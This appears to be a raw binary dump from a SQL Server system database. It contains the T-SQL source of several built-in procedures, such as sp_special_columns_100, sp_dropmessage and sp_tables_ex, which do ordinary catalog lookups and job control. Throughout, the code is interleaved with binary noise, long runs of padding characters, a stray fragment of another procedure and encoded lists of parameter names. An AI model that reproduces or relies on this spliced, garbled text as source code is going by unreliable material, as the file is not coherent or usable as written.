!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h`0
a
<h-5wM0P; 68
create procedure sys.sp_special_columns_90
(
    @table_name         sysname,         -- Wildcard pattern matching IS NOT supported.
    @table_owner        sysname = null,  -- Wildcard pattern matching IS NOT supported.
    @table_qualifier    sysname = null,
    @col_type           char(1) = 'R',
    @scope              char(1) = 'T',   -- Not used in the search criteria.
    @nullable           char(1) = 'U',
    @ODBCVer            int = 2
)
as
    declare @index_id           int
    declare @table_id           int
    -- quotename() returns up to 258 chars
    declare @full_table_name    nvarchar(517) -- 258 + 1 + 258
    declare @scopeout           smallint

    if @col_type not in ('R','V') or @col_type is null
    begin
        raiserror (15251,-1,-1,'col_type','''R'' or ''V''')
        return
    end

    if @scope = 'C'
        select @scopeout = 0
    else if @scope = 'T'
        select @scopeout = 1
    else
    begin
        raiserror (15251,-1,-1,'scope','''C'' or ''T''')
        return
    end

    if @nullable not in ('U','O') or @nullable is null
    begin
        raiserror (15251,-1,-1,'nullable','''U'' or ''O''')
        return
    end

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end
    if @table_owner is null
    begin    -- If unqualified table name
        select @full_table_name = quotename(@table_name)
    end
    else
    begin   -- Qualified table name
        if @table_owner = ''
        begin   -- If empty owner name
            select @full_table_name = quotename(@table_owner)
        end
        else
        begin
            select @full_table_name = quotename(@table_owner) + '.' + quotename(@table_name)
        end
    end

    --  Get Object ID
    select @table_id = object_id(@full_table_name)
    if (@table_id is null) -- Return empty resultset if table doesn't exist
    begin
        select
            SCOPE           = convert(smallint,0),
            COLUMN_NAME     = convert(sysname,NULL),
            DATA_TYPE       = convert(smallint,0),
            TYPE_NAME       = convert(sysname,NULL),
            "PRECISION"     = convert(int,0),
            "LENGTH"        = convert(int,0),
            SCALE           = convert(smallint,0),
            PSEUDO_COLUMN   = convert(smallint,0)
        where
            1=0
        return
    end

    if @col_type = 'V'
    begin -- if ROWVER, just run that query
        select
            SCOPE           = convert(smallint,NULL),
            COLUMN_NAME     = convert(sysname,c.name),
            DATA_TYPE       = convert(smallint, -2),
            TYPE_NAME       = t.name,
            "PRECISION"     = convert(int,8),
            "LENGTH"        = convert(int,8),
            SCALE           = convert(smallint, NULL),
            PSEUDO_COLUMN   = convert(smallint,1)
        from
            sys.types t,
            sys.all_columns c
        where
            c.object_id = @table_id and
            t.name = 'timestamp' and
            t.user_type_id = c.system_type_id and
            t.user_type_id = c.user_type_id
        return
    end

    -- ROWID, now find the id of the 'best' index for this table

    if @nullable = 'O'  -- Don't include any indexes that contain nullable columns.
        select
            @index_id = MIN(x.index_id)
        from
            sys.indexes x,
            sys.all_columns c,
            sys.all_columns c2
        where
            x.is_unique = 1 and -- If Unique Index
            x.object_id = @table_id and
            x.index_id > 0 and  -- Eliminate Table Row
            c.object_id = x.object_id and
            c2.object_id = c.object_id and
            c.name = index_col(@table_name,x.index_id,c2.column_id)
        group by
            x.index_id HAVING SUM(convert (int, c.is_nullable)) = 0
    else    -- Include indexes that are partially nullable.
        select
            @index_id = MIN(x.index_id)
        from
            sys.indexes x
        where
            x.is_unique = 1 and -- If Unique Index
            x.object_id = @table_id and
            x.index_id > 0      -- Eliminate Table Row

    select
        SCOPE           = @scopeout,
        COLUMN_NAME     = convert(sysname,c.name),
        DATA_TYPE       = convert(smallint,
                                case
                                when d.ss_dtype IN (40,41,42,43) then  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                    -9  
                                when (d.ss_dtype = 240 and c.max_length = -1) then -- Large UDT => varbinary(max) for 9.0 clients
                                    -3
                                else
                                    d.DATA_TYPE
                                end),
        TYPE_NAME       = convert(sysname,case
                                when (t.system_type_id = 240 or t.user_type_id > 255) then t.name
                                else d.TYPE_NAME collate catalog_default
                                end),
        "PRECISION"     = convert(int,case
                                when d.DATA_TYPE in (6,7) then d.data_precision         -- FLOAT/REAL
                                when (c.max_length = -1 and d.ss_dtype = 240) then -- Large UDT => same precision as varbinary(max) for 9.0 clients
                                    0
                                else OdbcPrec(c.system_type_id,c.max_length,c.precision)
                                end),
        "LENGTH"        = convert(int,case
                                when type_name(d.ss_dtype) IN ('numeric','decimal') then    -- decimal/numeric types
                                    OdbcPrec(c.system_type_id,c.max_length,c.precision)+2
                                when d.ss_dtype IN (40,41,42,43) then 
                                    OdbcPrec(c.system_type_id,c.max_length,c.precision)*2 -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                when (c.max_length = -1 and d.ss_dtype = 240) then -- Large UDT => same length as varbinary(max) for 9.0 clients
                                    0
                                else
                                    isnull(d.length, c.max_length)
                                end),
        SCALE           = convert(smallint,case
                                when d.ss_dtype IN (40,41,42,43) then null  -- DATE/TIME/DATETIME2/DATETIMEOFFSET
                                else OdbcScale(c.system_type_id,c.scale)
                                end),
        PSEUDO_COLUMN   = convert(smallint,1)
    from
        sys.columns c inner join
        sys.indexes x on
            (
                x.object_id = c.object_id and
                x.object_id = @table_id and
                x.index_id = @index_id
            ) inner join
        sys.types t on
            (
                t.user_type_id = c.user_type_id
            ) inner join
        sys.spt_datatype_info d on
            (
                d.ss_dtype = c.system_type_id and
                d.ODBCVer = @ODBCVer and
                d.AUTO_INCREMENT = c.is_identity
            ) inner join
        sys.columns c2 on -- Self-join to generate list of index columns and to extract datatype names.
            (
                INDEX_COL(@full_table_name,@index_id,c2.column_id) = c.name and
                c2.object_id = x.object_id
            )
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`?<F0GJ 8
create procedure sys.sp_special_columns_100 
(
    @table_name         sysname,         -- Wildcard pattern matching IS NOT supported.
    @table_owner        sysname = null,  -- Wildcard pattern matching IS NOT supported.
    @table_qualifier    sysname = null,
    @col_type           char(1) = 'R',
    @scope              char(1) = 'T',   -- Not used in the search criteria.
    @nullable           char(1) = 'U',
    @ODBCVer            int = 2
)
as
    declare @index_id           int
    declare @table_id           int
    -- quotename() returns up to 258 chars
    declare @full_table_name    nvarchar(517) -- 258 + 1 + 258
    declare @scopeout           smallint

    if @col_type not in ('R','V') or @col_type is null
    begin
        raiserror (15251,-1,-1,'col_type','''R'' or ''V''')
        return
    end

    if @scope = 'C'
        select @scopeout = 0
    else if @scope = 'T'
        select @scopeout = 1
    else
    begin
        raiserror (15251,-1,-1,'scope','''C'' or ''T''')
        return
    end

    if @nullable not in ('U','O') or @nullable is null
    begin
        raiserror (15251,-1,-1,'nullable','''U'' or ''O''')
        return
    end

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end
    if @table_owner is null
    begin    -- If unqualified table name
        select @full_table_name = quotename(@table_name)
    end
    else
    begin   -- Qualified table name
        if @table_owner = ''
        begin   -- If empty owner name
            select @full_table_name = quotename(@table_owner)
        end
        else
        begin
            select @full_table_name = quotename(@table_owner) + '.' + quotename(@table_name)
        end
    end

    --  Get Object ID
    select @table_id = object_id(@full_table_name)
    if (@table_id is null) -- Return empty resultset if table doesn't exist
    begin
        select
            SCOPE           = convert(smallint,0),
            COLUMN_NAME     = convert(sysname,NULL),
            DATA_TYPE       = convert(smallint,0),
            TYPE_NAME       = convert(sysname,NULL),
            "PRECISION"     = convert(int,0),
            "LENGTH"        = convert(int,0),
            SCALE           = convert(smallint,0),
            PSEUDO_COLUMN   = convert(smallint,0)
        where
            1=0
        return
    end

    if @col_type = 'V'
    begin -- if ROWVER, just run that query
        select
            SCOPE           = convert(smallint,NULL),
            COLUMN_NAME     = convert(sysname,c.name),
            DATA_TYPE       = convert(smallint, -2),
            TYPE_NAME       = t.name,
            "PRECISION"     = convert(int,8),
            "LENGTH"        = convert(int,8),
            SCALE           = convert(smallint, NULL),
            PSEUDO_COLUMN   = convert(smallint,1)
        from
            sys.types t,
            sys.all_columns c
        where
            c.object_id = @table_id and
            t.name = 'timestamp' and
            t.user_type_id = c.system_type_id and
            t.user_type_id = c.user_type_id
        return
    end

    -- ROWID, now find the id of the 'best' index for this table

    if @nullable = 'O'  -- Don't include any indexes that contain nullable columns.
        select
            @index_id = MIN(x.index_id)
        from
            sys.indexes x,
            sys.all_columns c,
            sys.all_columns c2
        where
            x.is_unique = 1 and -- If Unique Index
            x.object_id = @table_id and
            x.index_id > 0 and  -- Eliminate Table Row
            c.object_id = x.object_id and
            c2.object_id = c.object_id and
            c.name = index_col(@table_name,x.index_id,c2.column_id)
        group by
            x.index_id HAVING SUM(convert (int, c.is_nullable)) = 0
    else    -- Include indexes that are partially nullable.
        select
            @index_id = MIN(x.index_id)
        from
            sys.indexes x
        where
            x.is_unique = 1 and -- If Unique Index
            x.object_id = @table_id and
            x.index_id > 0      -- Eliminate Table Row

    select
        SCOPE           = @scopeout,
        COLUMN_NAME     = convert(sysname,c.name),
        DATA_TYPE       = d.DATA_TYPE,
        TYPE_NAME       = convert(sysname,case
                                 when (t.system_type_id = 240 or t.user_type_id > 255) then t.name
                                 else d.TYPE_NAME collate catalog_default
                                 end),
        "PRECISION"     = convert(int,case
                                 when d.DATA_TYPE in (6,7) then d.data_precision         -- FLOAT/REAL
                                 when (c.max_length = -1 and d.ss_dtype = 240) then -- Large UDT => same precision as varbinary(max)
                                     0
                                 else OdbcPrec(c.system_type_id,c.max_length,c.precision)
                                 end),
        "LENGTH"        = convert(int,case
                                 when type_name(d.ss_dtype) IN ('numeric','decimal') then    -- decimal/numeric types
                                     OdbcPrec(c.system_type_id,c.max_length,c.precision)+2
                                 when (c.max_length = -1 and d.ss_dtype = 240) then -- Large UDT => same length as varbinary(max)
                                     0
                                 else
                                     isnull(d.length, c.max_length)
                                 end),
        SCALE           = convert(smallint, OdbcScale(c.system_type_id,c.scale)),
        PSEUDO_COLUMN   = convert(smallint,1)
    from
        sys.columns c inner join
        sys.indexes x on
            (
                x.object_id = c.object_id and
                x.object_id = @table_id and
                x.index_id = @index_id
            ) inner join
        sys.types t on
            (
                t.user_type_id = c.user_type_id
            ) inner join
        sys.spt_datatype_info d on
            (
                d.ss_dtype = c.system_type_id and
                d.ODBCVer = @ODBCVer and
                d.AUTO_INCREMENT = c.is_identity
            ) inner join
        sys.columns c2 on -- Self-join to generate list of index columns and to extract datatype names.
            (
                INDEX_COL(@full_table_name,@index_id,c2.column_id) = c.name and
                c2.object_id = x.object_id
            )
002R@ 8create procedure sys.sp_cdc_stop_job_internal
(
	@job_type nvarchar(20) = N'capture'
)
with execute as 'dbo'
as
begin
    set nocount on

    declare @job_id uniqueidentifier
           ,@retcode int
           ,@db_name sysname
  
    set @db_name = db_name()

	if object_id('msdb.dbo.cdc_jobs') is null
    begin
        raiserror(22993, 16, -1, @db_name)
        return(1)
    end
    
    if not exists
    (
		select * from msdb.dbo.cdc_jobs
		where database_id = db_id()
		and job_type = @job_type
	)
    begin
        raiserror(22997, 16, -1, @job_type)
        return(1)
    end

    select @job_id = job_id
    from msdb.dbo.cdc_jobs
    where database_id = db_id()
    and job_type = @job_type

    if @job_id is not null
    begin
        exec @retcode = msdb.dbo.sp_stop_job @job_id = @job_id
        if @retcode <> 0 or @@error <> 0
            return(1)
    end

    return(0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`G
<W1bp0M G
8create procedure sys.sp_dropmessage
	@msgnum int = null,		-- Number of message to drop.
	@lang sysname = null	-- Language of message to drop (or 'ALL')
as
	declare @retcode int
	declare @msglangid smallint

	-- Must be ServerAdmin to manage messages
	if is_srvrolemember('serveradmin') = 0
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	-- If no message id, show usage
	if @msgnum is null
	begin
		raiserror(15177,-1,-1)
		return (1)
	end

	-- Message id must be > 50000 (unless SQL Server is in single user mode)
	if @msgnum < 50001 AND 0 = SERVERPROPERTY('IsSingleUser')
	begin
		raiserror(15178,-1,-1)
		return(1)
	end

	-- Verify the language
	if @lang is null
		select @lang = @@language
	if upper(@lang) <> 'ALL'
	begin
		-- Check to see if this language is in Syslanguages.
		if not exists (select * from sys.syslanguages where name = @lang or alias = @lang)
			and @lang <> N'us_english'
		begin
			raiserror(15033,-1,-1,@lang)
			return (1)
		end

		-- Get langid from syslanguages; us_english won't exist, so use 0.
		select @msglangid = isnull((select msglangid from sys.syslanguages where name = @lang or alias = @lang),1033)
	end

	BEGIN TRANSACTION
	EXEC %%ErrorMessage(ID = @msgnum).Lock(Exclusive = 1)
	if (@@error <> 0) or	-- msg or specified langugage version not found
		(@msglangid is not null and not exists 
			(select * from sys.messages$ where message_id = @msgnum and language_id = @msglangid)
		)
	begin
		COMMIT TRANSACTION
		raiserror(15179,-1,-1,@msgnum)
		return(1)
	end

	-- The us_english version must be the last one to be dropped
	if (@msglangid = 1033) and (select count(*) from sys.messages$ where message_id = @msgnum) > 1
	begin
		COMMIT TRANSACTION
		raiserror(15280,-1,-1)
		return(1)
	end

	declare @msg_str nvarchar(50)
	set @msg_str = @msgnum

	-- Drop the message.
	if (upper(@lang) = 'ALL') or (@msglangid = 1033)
		EXEC %%ErrorMessage(ID = @msgnum).Remove()
	else
		EXEC %%ErrorMessage(ID = @msgnum).RemoveMessage(LanguageID = @msglangid)

		
	-- EMDEventType(x_eet_Drop_Message), EMDUniversalClass(x_eunc_Message), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	EXEC %%System().FireTrigger(ID = 237, ID = 106, ID = @msgnum, ID = 0, Value = @msg_str,
		ID = -1, ID = 0, ID = 0, Value = NULL, 
		ID = 2, Value = @msgnum, Value = @lang, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

	COMMIT TRANSACTION

	return (0) -- sp_dropmessage
0PR 8
create procedure sys.sp_tables_ex
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @table_type         sysname = null,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @table_name),0) = 0) and
            (isnull(charindex('[', @table_name),0) = 0) and
            (isnull(charindex('_', @table_name),0) = 0) and
            (isnull(charindex('%', @table_schema),0) = 0) and
            (isnull(charindex('[', @table_schema),0) = 0) and
            (isnull(charindex('_', @table_schema),0) = 0) and
            (isnull(charindex('%', @table_catalog),0) = 0) and
            (isnull(charindex('[', @table_catalog),0) = 0) and
            (isnull(charindex('_', @table_catalog),0) = 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(@table_server, '@table_server = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print isnull(@table_catalog, '@table_catalog = null')
        print isnull(@table_type, '@table_type = null')
        print '*************'
        */
        select
            TABLE_CAT   = rt.TABLE_CATALOG,
            TABLE_SCHEM = rt.TABLE_SCHEMA,
            TABLE_NAME  = rt.TABLE_NAME,
            TABLE_TYPE  = rt.TABLE_TYPE,
            REMARKS     = convert(nvarchar(255),rt.DESCRIPTION)
        from
            -- We can not pass @table_type directly here, because in ODBC we enclose
            -- it in '', which is not acceptable for OLEDB SProc.
            sys.fn_remote_tables(@table_server,
                                 @table_catalog,
                                 @table_schema,
                                 @table_name,
                                 NULL) rt
        where
            (charindex ('' + TABLE_TYPE + '', @table_type) <> 0 or @table_type is NULL)
        order by 4, 1, 2, 3
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(@table_server, '@table_server = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print isnull(@table_catalog, '@table_catalog = null')
        print isnull(@table_type, '@table_type = null')
        print '*************'
        */
        select
            TABLE_CAT   = TABLE_CATALOG,
            TABLE_SCHEM = TABLE_SCHEMA,
            TABLE_NAME  = TABLE_NAME,
            TABLE_TYPE  = TABLE_TYPE,
            REMARKS     = convert(nvarchar(255),DESCRIPTION)
        from
            sys.fn_remote_tables(@table_server,
                                 @table_catalog,
                                 NULL,
                                 NULL,
                                 NULL)
        where
            (TABLE_SCHEMA like @table_schema or
             @table_schema is NULL or
             (TABLE_SCHEMA is NULL and @table_schema = N'%')) and
            (TABLE_CATALOG like @table_catalog or
             @table_catalog is NULL or
             (TABLE_CATALOG is NULL and @table_catalog = N'%')) and
            (charindex ('' + TABLE_TYPE + '', @table_type) <> 0 or @table_type is NULL) and
            (TABLE_NAME like @table_name or
             @table_name is NULL)
        order by 4, 1, 2, 3
    end
0^@ 8create procedure sys.sp_startpullsubscription_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname
)
as
begin
    set nocount on
    declare @retcode int
            ,@start tinyint

    set @retcode = 0
    set @start = 0

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1

    exec @retcode = sys.sp_MSpullsubscriptionagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @action = @start
    return @retcode 
end
              when pro.type in ('P', 'PC') then 56
                                                else                              0
                                                end)
    from
        sys.spt_all_procedures pro

    where
        pro.type in ('P', 'TF', 'IF', 'PC') -- 'FN' case is included in spt_sproc_columns_odbc_view
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(
`
) sw6
ndatabase_transaction_log_bytes_reserved_system6
Xdatabase_transaction_log_bytes_used6fdatabase_transaction_log_bytes_used_system6\database_transaction_log_record_count6ndatabase_transaction_most_recent_savepoint_lsn6Vdatabase_transaction_next_undo_lsn6	hdatabase_transaction_replicate_record_count6Fdatabase_transaction_state6Hdatabase_transaction_status6Jdatabase_transaction_status26Ddatabase_transaction_type6(pdw_node_id6.transaction_id6s$@language6s$@loginame.6!("@Catalog6!(@Owner6!(@Table6!(@Name6[p" @job_id6[p" @action6)@name6)&@subsystem6)4@owner_login_name6) @server6)$@username6),@databasename6)"@enabled6)$@freqtype6)	,@freqinterval6)
*@freqsubtype6)2@freqsubinterval6)<@freqrelativeinterval6)
<@freqrecurrencefactor6)2@activestartdate6).@activeenddate6)<@activestarttimeofday6)8@activeendtimeofday6)*@nextrundate6)*@nextruntime6)*@runpriority6)6@emailoperatorname6).@retryattempts6)(@retrydelay6)"@command6)@@loghistcompletionlevel6)<@emailcompletionlevel6)*@description6)6@tagadditionalinfo6)*@tagobjectid6).@tagobjecttype6)8@cmdexecsuccesscode6) .@category_name6)!6@failure_detection6)"$@agent_id6)#$@proxy_id6)$&@job_login6)%,@job_password6)& @job_id6)',@job_step_uid6&@publisher6,@publisher_db6*@publication6$@property6$@strvalue6$@intvalue66@subscription_type6s&@publisher6s,@publisher_db6s*@publication6s$@reserved6.@source_object6 @column6$@typetext68@publication_to_add6(@from_agent6<@schema_change_script6F@force_invalidate_snapshot6F@force_reinit_subscription6
*@publication6
&@publisher6
0@publisher_type6
@mode6@tabid6.@publishertype6Y&@publisher6Y*@publication6Y"@article6o8artcache_db_address6o>artcache_table_address6o@artcache_schema_address6oBartcache_article_address6oartid6o$artfilter6o"artobjid6o"artpubid6o	$artstatus6o
 arttype6o0wszArtdesttable6o:wszArtdesttableowner6o
*wszArtinscmd6o&cmdTypeIns6o*wszArtdelcmd6o&cmdTypeDel6o*wszArtupdcmd6o&cmdTypeUpd6o8wszArtpartialupdcmd6o4cmdTypePartialUpd6onumcol6o&artcmdtype6o*artgeninscmd6o*artgendelcmd6o*artgenupdcmd6o2artpartialupdcmd6o*artupdtxtcmd6o,artgenins2cmd6o,artgendel2cmd6o*fInReconcile6o0fPubAllowUpdate6o <intPublicationOptions6eD4@backup_file_name6eD.@database_name6eD @result6eD"@verbose64Z @column64Z@list6,@tablenickstr6,@source_table6*@table_owner6@rgcol62@column_tracking6,@trigger_type6$@viewname6 @tsview6	$@trigname6
:@genhistory_viewname6$@replnick6H@max_colv_size_in_bytes_str6n*@publication6n.@schemaversion6n @status& @job_id6)',@job_step_uid6&@publisher6,@publisher_db6*@publication6$@property6$@strvalue6$@intvalue66@subscription_type6q=*@publication6q=,@publisher_db6q=&@publisher6q=>@ignore_merge_metadata6q=F@force_preserve_rowguidcol6כY@cmd6כY @indent6s&@publisher6s,@publisher_db6s*@publication6s$@reserved6.@source_object6 @column6$@typetext68@publication_to_add6(@from_agent6<@schema_change_script6F@force_invalidate_snapshot6F@force_reinit_s:Vv>DTP&|~rb"H>b*l6Dd Pn<`<


``

x<
,

h
x	J		L,J\|	
>
P	
."^X0ZV&`
)~9C"lV68~Vvirtual_address_space_available_kb68~Vvirtual_address_space_committed_kb68~Tvirtual_address_space_reserved_kb6U&$object_id6U&$schema_id6U&,TABLE_CATALOG6U&*TABLE_SCHEMA6U&&TABLE_NAME6U&(COLUMN_NAME6U&(COLUMN_GUID6U&,COLUMN_PROPID6U&	 ORDINAL6U&
 PK_NAME6!,@table_schema6!(@table_type6,@q16,@q26,@q36,@q46,@q56,@q66,
@q106,@q116,@q126,
@q136,@q146,@q156,@q166,@q176,@q186,@q196,@q206,@q216,@q226,@q236,@q246,@q256,@q266,@q276,@q286,@q296,@q306,@q316, @q326,!@q336,"@q346,#@q356,$@q366,%@q376,&@q386,'@q396,(@q406,)@q416,*@q426,+@q436,,@q446,-@q456,.@q466,/@q476,0@q486,1@q496,2@q506,3@q516,4@q526,5@q536,6@q546,7@q556,8@q566,9@q576,:@q586,;@q596,<@q606,=@q616,>@q626,?@q636,@@q646,A@q656,B@q666,C@q676,D@q686,E@q696,d@q1006,e@q1016,f@q1026,g@q1036,h@q1046,i@q1056,j@q1066,k@q1076,l@q1086,m@q1096,n@q1106,o@q1116,p@q1126,q@q1136,r@q1146,s@q1156,t@q1166,u@q1176,v@q1186,w@q1196,x@q1206,y@q1216,z@q1226,{@q1236,|@q1246,}@q1256,~@q1266,@q1276,@q1286,@q1296,@q1306,@q1316,@q1326,@q1336,@q1346,@q1356,@q1366,@q1376,@q1386,@q1396,@q1406,@q1416,@q1426,@q1436,@q1446,@q1456,@q1466,@q1476,@q1486,@q1496,@q1506,@q1516,@q1526,@q1536,@q1546,@q1556,@q1566,@q1576,@q1586,@q1596,@q1606,@q1616,@q1626,@q1636,@q1646,@q1656,@q1666,@q1676,@q1686,@q1696,@q1706,@q1716,@q1726,@q1736,@q1746,@q1756,@q1766,@q1776,@q1786,@q1796,@q1806,@q1816,@q1826,@q1836,@q1846,@q1856,@q1866,@q1876,@q1886,@q1896,@q1906,@q1916,@q1926,@q1936,@q1946,@q1956,@q1966,@q1976,@q1986,@q1996,@q2006,@q2016,@q2026,@q2036,@q2046,@q2056,@q2066,@q2076,@q2086,@q2096,@q2106,@q2116,@q2126,@q2136,@q2146,@q2156,@q2166,@q2176,@q2186,@q2196,@q2206,@q2216,@q2226,@q2236,@q2246,@q2256,@q2266,@q2276,@q2286,@q2296,@q2306,@q2316,@q2326,@q2336,@q2346,@q2356,@q2366,@q2376,@q2386,@q2396,@q2406,@q2416,@q2426,@q2436,@q2446,@q2456,@q2466,@q2476,@q2486,@q2496,@q2506,@debug@q316, @q326,!@q336,"@q346,#@q356,$@q366,%@q376,&@q386,'@q396,(@q406,)@q416,*@q426,+@q436,,@q446,-@q456,.@q466,/@q476,0@q486,1@q496,2@q506,3@q516,4@q526,5@q536,6@q546,7@q556,8@q566,9@q576,:@q586,;@q596,<@q606,=@q616,>@q626,?@q636,@@q646,A@q656,B@q666,C@q			t	Z	@	&		pV<"lR8|hN4d~dDJ(dH,0hL0lP4pT8tX< Lx\@$|`D(dH,zhL0l`P4pTF8tX<, 



x
\
@
$

|`D(dH,




h
L
0

		4``t$L`5)	<.K6!=.COLUMN_DEFAULT6!=*COLUMN_FLAGS6!=
0COLUMN_FLAGS_906!=(COLUMN_GUID6!=
4COLUMN_HASDEFAULT6!=(COLUMN_NAME6!=,COLUMN_PROPID6!=$DATA_TYPE6!=*DATA_TYPE_286!=*DATA_TYPE_906!=(IS_NULLABLE6!=$object_id6!=	2ORDINAL_POSITION6!=$schema_id6!=,TABLE_CATALOG6!=&TABLE_NAME6!=*TABLE_SCHEMA6!=$TYPE_GUID6? blocked6?cmd6?*context_info6?
cpu6?dbid6?ecid6?"hostname6?(hostprocess6?kpid6?&last_batch6!=4NUMERIC_PRECISION6!=,NUMERIC_SCALE6!=6DATETIME_PRECISION6!=<DATETIME_PRECISION_906!=/.DOMAIN_CATALOG6!=0,DOMAIN_SCHEMA6!=1(DOMAIN_NAME6!=2(DESCRIPTION6!=3(COLUMN_LCID6!=4.COLUMN_LCID_906!=5.COLUMN_LCID_286!=9,COLUMN_SORTID6!=:8COLUMN_TDSCOLLATION6!=;>COLUMN_TDSCOLLATION_906!=<>COLUMN_TDSCOLLATION_286!==(IS_COMPUTED6!=>XSS_XML_SCHEMACOLLECTION_CATALOGNAME6!=?VSS_XML_SCHEMACOLLECTION_SCHEMANAME6!=@HSS_XML_SCHEMACOLLECTIONNAME6!=A6SS_UDT_CATALOGNAME6!=B4SS_UDT_SCHEMANAME6!=C(SS_UDT_NAME6!=DBSS_UDT_ASSEMBLY_TYPENAME6!=E*SS_IS_SPARSE6!=F2SS_IS_COLUMN_SET!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!